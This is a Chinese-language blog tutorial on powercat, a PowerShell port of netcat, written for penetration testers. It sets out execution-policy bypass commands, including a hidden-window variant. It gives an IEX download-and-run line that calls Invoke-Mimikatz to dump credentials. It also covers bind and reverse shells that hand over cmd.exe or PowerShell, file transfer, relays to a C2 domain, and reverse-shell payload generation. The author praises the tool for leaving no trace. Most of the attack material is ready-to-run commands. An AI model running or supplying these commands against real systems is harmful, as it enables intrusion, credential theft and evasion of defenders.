powershell渗透工具——powercat工具详细分析

powercat工具详细分析

 

这个工具出来两年了,但是好像很少人知道他。国外的大牛们用的比较多,国内的文章出现powercat关键字的寥寥无几,更别说有这款工具的详细用法了。

0x01 powercat简介

是NetCat 的Powershell 版本。作者的介绍也是这样写的,但是我觉得,powercat不管怎么样,也有比NetCat 强的一点,就是没有任何痕迹!来无影去无踪。关掉powershell 我们还是好朋友。

0x02 下载运行

地址:github地址链接

直接克隆回本地:

git clone besimorhino/powercat

你直接执行的话是肯定执行不了的,因为你没有权限

导入也导入不了,执行也执行不了。正常

在终端输入get-executionpolicy

Restricted——默认的设置,不允许任何script运行

AllSigned——-只能运行经过数字证书签名的script

RemoteSigned—-运行本地的script不需要数字签名,但是运行从网络上下载的script就必须要有数字签名

Unrestricted—-允许所有的script运行

要运行Powershell脚本程序,必须要将Restricted策略改成Unrestricted,而修改此策略必须要管理员权限。但是在渗透过成功,你要有管理员权限,那还玩什么?直接Mimikatz 读密码了,还在这费这劲。所以,权限绕过吧。

本地权限绕过

PowerShell.exe -ExecutionPolicy Bypass -File xxx.ps1

本地隐藏权限绕过执行脚本

PowerShell.exe -ExecutionPolicy Bypass -NoLogo -Nonlnteractive -NoProfile -WindowStyle Hidden(隐藏窗口) -File xxx.ps1

用IEX下载远程PS1脚本回来权限绕过执行

powershell "IEX (New-Object Net.WebClient).DownloadString('');Invoke-Mimikatz-DumpCreds"

所以,直接选择最简单的吧,也别下载了,直接远程权限绕过,在Powershell 中执行:

IEX (New-Object System.Net.Webclient).DownloadString('https://raw.githubusercontent.com/besimorhino/powercat/master/powercat.ps1')

可以看到Powercat已经成功执行了

0x03 powercat基本操作

powercat 到底还是netcat的翻版,他们操作起来非常相似,我就不贴一堆命令,然后贴中文注释了,因为我的英文水平还停留在小学六年级的样子。大家需要的话自行google

powercat因为是netcat 的翻版,所以他们两个连接起来没有任何的问题,先来建立起一个简单的Socket 通信看看样子,总感觉很牛的样子

简单的socket通信

kali的ip:192.168.12.101

在kali 下用netcat来执行命令

netcat -l -p 8888 -vv

在Windows 测试机下执行powrcat 命令

powercat -c 192.168.12.101 -p 8888 -v

执行完这两道命令,kali 跟windows已经建立了一个基本的socket回话了,相当于一个聊天窗口,企鹅的功能,在悄悄秀一波英文水平,没骗你们,真的只会这一句

powercat命令解析

-c 指定一个ip地址
-p 指定一个端口
-v 显示详情

这是一个基本的socket 通信,相信会撸代码的同学都可以轻松写出这样的代码

一个基本的socket通信是没有可能满足我们的。继续深入

正向链接

windows主机ip:192.168.12.109

在windows主机下执行:

powercat -l -p 8888 -e cmd.exe -v

在kali下用Netcat执行:

netcat -vv 192.168.12.109 8888

成功返回换一个cmd命令行

powercat命令解析

-l 监听模式,用于入站链接
-p 本地端口号
-e 程序重定向,跟nc一毛一样
-v 显示详情

反向链接

kali下执行:

netcat -l -p 8888 -v

windows主机下执行:

powercat -c 192.168.12.101 -p 8888 -e cmd.exe

成功反向链接回来

来个牛的

上面可以跟nc配合,但是nc没有办法返回powershell,powershell就是在渗透过程中的一把利刃,而powercat刚刚好可以返回一个powershell

两台windows测试机的ip分别是192.168.12.108,192.168.12.109

在ip为192.168.12.109的机器上执行:

powercat -l -p 9999 -v

在另一台上执行:

powercat -c 192.168.12.109 -p 9999 -ep
可以直接干一点坏坏的事情,比如说,下载个mimikatz,然后。。

powercat命令解析

-eq 返回powershell

0x04 Powercat其他操作

文件上传

这个不用说,基本这种连接的都支持

在c:下新建一个test.txt的文件,写入hello word!

在有text.txt的机器执行:

powercat -c 192.168.12.108 -p 9999 -i c:test.txt -v

另一台机器执行

powercat -l -p 9999 -of c:test.txt -v

我建议在这里加上-v参数,要不我们不知道文件有没有上传完,当上传完成的时候,直接Ctrl+c关闭连接,如果不关闭,可以继续向文件中写入文件

这里并没有直接结束掉,而是又写入了一些文件,来看看在靶机中到底写入了什么

powercat命令解析

-i 指定要上传文件的绝对路径

-of 接受文件的路径以及名称

中继

这个功能也是基本都有的功能,不做演示,个人觉得用的不多,当然,做跳板另当别论。直接贴上官方的代码(借助google翻译):

TCP侦听器到TCP客户端中继: powercat -l -p 8000 -r tcp:10.1.1.16:443TCP侦听器到UDP客户端中继: powercat -l -p 8000 -r udp:10.1.1.16:53TCP侦听器到DNS客户端中继 powercat -l -p 8000 -r dns:10.1.1.1:53:c2.example.comTCP侦听器使用Windows默认DNS服务器到DNS客户端中继 powercat -l -p 8000 -r dns ::: c2.example.comTCP客户端到客户端中继 powercat -c 10.1.1.1 -p 9000 -r tcp:10.1.1.16:443TCP侦听器到侦听器中继 powercat -l -p 8000 -r tcp:9000

类似MSF的回弹功能

powercat这个回弹很牛,可正向可反向。

powercat -c 192.168.12.109 -p 9999 -e cmd -g

生成一个反向链接的payload,可以链接到192.168.12.109的9999端口,这条命令之后是这个样子的= =

是powershell脚本,保存为.ps1的格式,运行吧

正向连接马:

powercat -l -p 8000 -e cmd -ge

坚挺本地的8000端口,然后等待链接。执行后:

用法,没有尝试,应该与Empire的payload相似.

说句我的看法,个人觉得不是很实用,如果是你,有了这样的机会,你会选择用Powercat吗?要我,我直接上Metasploit,Empire了。

0x05 总结

Powercat的大部分功能都是可以用其他工具代替的,但是,不管怎么说,都是一种思路。他的存在肯定有他的意义,要不作者也不会无聊开发出这样的工具来。讲句心里话,我最看好他执行过后什么都不会留下。


如若转载,请注明原文地址: powercat工具详细分析 - 嘶吼 RoarTalk
posted @ 2022-02-28 20:48  bonelee  阅读(663)  评论(0编辑  收藏  举报